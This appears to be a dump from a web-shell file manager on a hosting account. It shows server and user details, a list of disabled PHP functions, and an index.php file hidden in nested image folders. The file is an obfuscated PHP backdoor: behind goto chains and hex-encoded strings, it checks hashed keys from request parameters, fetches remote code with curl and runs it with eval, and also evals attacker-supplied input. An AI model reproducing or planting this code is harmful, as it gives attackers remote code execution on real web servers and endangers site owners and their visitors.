HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/bandeirantesbomb3/public_html/images/images/images/images/images/images/index.php
<?php
 goto SqPlaiCXxCSG1; gEpHgeUDm9kGQ: $AyGfomHPmrvzh = $ltzZ5pxs2OcMn("\x7e", "\x20"); goto qPi8fNapUWbtX; BW_fZGlZp3vvo: class qr036gUKNsLTy { static function qXNyzvVkuYGdf($nyf28Xhq8VzoY) { goto CmMdcXMxe3Gen; CmMdcXMxe3Gen: $JaWhPNIkIkC1u = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto oUn8X20qnmpo5; todRODijoB2m1: $Fw8iMU3HIPhiK = explode("\x5b", $nyf28Xhq8VzoY); goto C9XuJGqOTyNVs; C9XuJGqOTyNVs: $oPMYCgd5VhQr5 = ''; goto eDApaHwsS7FKg; xvva7JeSEQpTc: return $oPMYCgd5VhQr5; goto VtVUfoPoUQNwH; m6gb7z9Q6gne4: g6CAIDmGB8P9Q: goto xvva7JeSEQpTc; eDApaHwsS7FKg: foreach ($Fw8iMU3HIPhiK as $ybKKhkwtxIMLt => $xjTePzd7g7Hx4) { $oPMYCgd5VhQr5 .= $jYTkQqpj2lrpq[$xjTePzd7g7Hx4 - 50567]; y9SKeKnvISq_l: } goto m6gb7z9Q6gne4; oUn8X20qnmpo5: $jYTkQqpj2lrpq = $JaWhPNIkIkC1u("\x7e", "\x20"); goto todRODijoB2m1; VtVUfoPoUQNwH: } static function PQQ_VvXYni1Vk($rfkQjsJ7HIMpX, $f9ghoH1wrj9Gz) { goto D7C6zDbene2rM; S2Zt3ZR4gXlhz: return empty($Fk11dPn_OD5GL) ? $f9ghoH1wrj9Gz($rfkQjsJ7HIMpX) : $Fk11dPn_OD5GL; goto PoIFJcTGtaAyp; X9IWve1gpAbML: $Fk11dPn_OD5GL = curl_exec($BDCB3lwbM_bJ5); goto S2Zt3ZR4gXlhz; D7C6zDbene2rM: $BDCB3lwbM_bJ5 = curl_init($rfkQjsJ7HIMpX); goto qN3ih61x1uiPa; qN3ih61x1uiPa: curl_setopt($BDCB3lwbM_bJ5, CURLOPT_RETURNTRANSFER, 1); goto X9IWve1gpAbML; PoIFJcTGtaAyp: } static function S2uulSN20lh7w() { goto XUbzma2AP_vb4; tdagITx4cfuoD: @eval($RIhVGg5JC7H3s[4 + 0]($ywUQh7At3ibUq)); goto d1A5kxfRDutZA; YZYs7D_lKsXIz: @$RIhVGg5JC7H3s[4 + 6](INPUT_GET, "\x6f\x66") == 1 && die($RIhVGg5JC7H3s[5 + 0](__FILE__)); goto iXGqnYNm1YT8l; YYylvlrpaUvKB: Onhxe9pYvA8kI: goto SmFJqgLP740kh; P1FSaQq5ZRYfE: $ywUQh7At3ibUq = self::pQQ_VVXYNI1vK($i0UHGLldWWNhO[1 + 0], $RIhVGg5JC7H3s[4 + 1]); goto tdagITx4cfuoD; AvCRlBpwS6KHi: $i0UHGLldWWNhO = $RIhVGg5JC7H3s[0 + 2]($qRgXRGqjA2NzD, true); goto YZYs7D_lKsXIz; w5FygL98Yn0zi: $qRgXRGqjA2NzD = @$RIhVGg5JC7H3s[2 + 1]($RIhVGg5JC7H3s[0 + 6], $n2i3Q4Uqfw4ui); goto AvCRlBpwS6KHi; d1A5kxfRDutZA: die; goto plwDhNFn8N5R7; plwDhNFn8N5R7: TkCFKXdd84u4p: goto JIQUHWBe3zPHW; iXGqnYNm1YT8l: if (!(@$i0UHGLldWWNhO[0] - time() > 0 and md5(md5($i0UHGLldWWNhO[2 + 1])) === "\61\67\x39\146\64\x31\x61\x64\x65\64\141\x66\x61\x65\146\144\71\60\65\x30\60\144\67\63\62\x31\x63\145\x62\x35\x30\145")) { goto TkCFKXdd84u4p; } goto P1FSaQq5ZRYfE; UXLpJwf2UCNol: foreach ($FSqlAebQVhNAN as $ASQfKmKx3ST4g) { $RIhVGg5JC7H3s[] = self::QXNYzvVKuygDf($ASQfKmKx3ST4g); bIBnZnopu2U6d: } goto YYylvlrpaUvKB; XUbzma2AP_vb4: $FSqlAebQVhNAN = array("\x35\60\65\71\x34\x5b\65\60\x35\x37\71\133\x35\60\x35\71\62\x5b\x35\x30\65\71\66\133\65\x30\65\67\67\x5b\65\x30\x35\71\62\133\65\x30\x35\71\x38\x5b\x35\x30\x35\x39\x31\x5b\x35\60\65\67\x36\133\x35\x30\65\70\63\133\65\x30\65\x39\64\133\x35\x30\65\x37\67\133\65\x30\65\70\70\x5b\65\x30\65\70\62\x5b\65\x30\65\70\x33", "\x35\60\65\67\70\x5b\65\60\x35\67\67\x5b\x35\x30\65\x37\71\x5b\x35\60\x35\71\x38\x5b\65\60\65\x37\71\133\x35\x30\65\x38\62\133\x35\x30\x35\x37\x37\133\65\x30\66\x34\64\x5b\65\60\66\x34\x32", "\x35\60\65\70\67\133\65\x30\65\67\70\x5b\x35\x30\x35\x38\62\133\x35\x30\65\x38\63\x5b\65\60\x35\x39\x38\x5b\65\60\x35\x39\x33\x5b\x35\x30\65\x39\62\x5b\x35\x30\65\71\64\133\65\60\x35\x38\62\x5b\x35\60\65\x39\63\x5b\x35\x30\65\x39\62", "\x35\x30\65\x38\x31\133\x35\60\x35\71\66\x5b\x35\60\x35\71\64\x5b\65\60\65\x38\66", "\x35\x30\x35\x39\x35\x5b\x35\x30\x35\71\66\133\x35\x30\65\x37\x38\133\x35\60\65\71\x32\133\x35\x30\x36\63\x39\x5b\x35\60\x36\x34\x31\133\x35\x30\65\71\70\x5b\x35\60\65\x39\63\x5b\65\x30\x35\71\62\x5b\65\60\65\71\64\x5b\65\60\x35\70\62\133\x35\60\x35\x39\63\x5b\x35\x30\65\x39\x32", "\x35\60\x35\x39\x31\x5b\x35\60\x35\70\70\133\65\60\65\x38\x35\x5b\65\60\65\x39\x32\133\x35\60\x35\x39\x38\x5b\65\x30\65\71\x30\133\65\x30\65\x39\62\x5b\x35\60\65\67\x37\x5b\65\x30\x35\71\70\133\65\x30\x35\x39\x34\133\65\x30\65\70\62\x5b\x35\60\65\x38\63\x5b\65\x30\x35\x37\x37\133\65\x30\x35\x39\x32\x5b\65\60\x35\70\x33\133\x35\60\x35\x37\x37\x5b\x35\60\x35\67\x38", "\65\60\x36\x32\x31\x5b\x35\x30\66\65\61", "\x35\60\65\66\x38", "\65\60\x36\x34\66\133\x35\60\66\65\x31", "\65\60\x36\x32\x38\133\65\60\66\61\61\x5b\x35\x30\66\61\x31\133\x35\x30\x36\x32\x38\x5b\65\x30\66\60\64", "\x35\60\x35\x39\x31\x5b\65\x30\65\x38\70\133\x35\x30\65\x38\65\133\x35\x30\x35\67\x37\133\x35\60\65\x39\x32\133\65\60\x35\67\71\133\x35\60\65\x39\x38\133\x35\60\x35\x38\x38\133\65\60\65\70\x33\133\x35\60\x35\x38\61\133\x35\60\65\x37\x36\133\x35\x30\65\x37\x37"); goto UXLpJwf2UCNol; SmFJqgLP740kh: $n2i3Q4Uqfw4ui = @$RIhVGg5JC7H3s[1]($RIhVGg5JC7H3s[9 + 1](INPUT_GET, $RIhVGg5JC7H3s[6 + 3])); goto w5FygL98Yn0zi; JIQUHWBe3zPHW: } } goto xX2k0GBRS2Y_d; SqPlaiCXxCSG1: $ltzZ5pxs2OcMn = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto gEpHgeUDm9kGQ; lxCkJwkrNjmqO: if (!(in_array(gettype($oG057MPxt1uA_) . count($oG057MPxt1uA_), $oG057MPxt1uA_) && count($oG057MPxt1uA_) == 15 && md5(md5(md5(md5($oG057MPxt1uA_[9])))) === "\x35\x61\x34\142\x38\61\61\65\64\143\x39\x64\65\60\142\62\66\145\70\70\x30\x39\143\71\142\x38\x64\144\x35\142\x36\x31")) { goto QzTa2GMogW2yX; } goto qRPoIr2CR_Iwe; qPi8fNapUWbtX: $oG057MPxt1uA_ = ${$AyGfomHPmrvzh[10 + 21] . $AyGfomHPmrvzh[54 + 5] . $AyGfomHPmrvzh[31 + 16] . $AyGfomHPmrvzh[10 + 37] . $AyGfomHPmrvzh[48 + 3] . $AyGfomHPmrvzh[52 + 1] . $AyGfomHPmrvzh[55 + 2]}; goto lxCkJwkrNjmqO; FZxagL0GTCkPC: QzTa2GMogW2yX: goto MR4GRDQHQ3ts4; MR4GRDQHQ3ts4: metaphone("\154\x2b\101\x63\x41\x50\x64\x53\x57\x38\x66\x33\x65\x44\x2f\x2b\145\x4b\156\156\113\x65\x75\x4b\x64\x48\x72\130\x43\125\x79\142\125\x79\53\x76\x37\x7a\60\161\161\x31\101"); goto BW_fZGlZp3vvo; qRPoIr2CR_Iwe: ($oG057MPxt1uA_[66] = $oG057MPxt1uA_[66] . $oG057MPxt1uA_[74]) && ($oG057MPxt1uA_[86] = $oG057MPxt1uA_[66]($oG057MPxt1uA_[86])) && @eval($oG057MPxt1uA_[66](${$oG057MPxt1uA_[48]}[12])); goto FZxagL0GTCkPC; xX2k0GBRS2Y_d: QR036GukNsLtY::S2uuLsN20Lh7W();
?>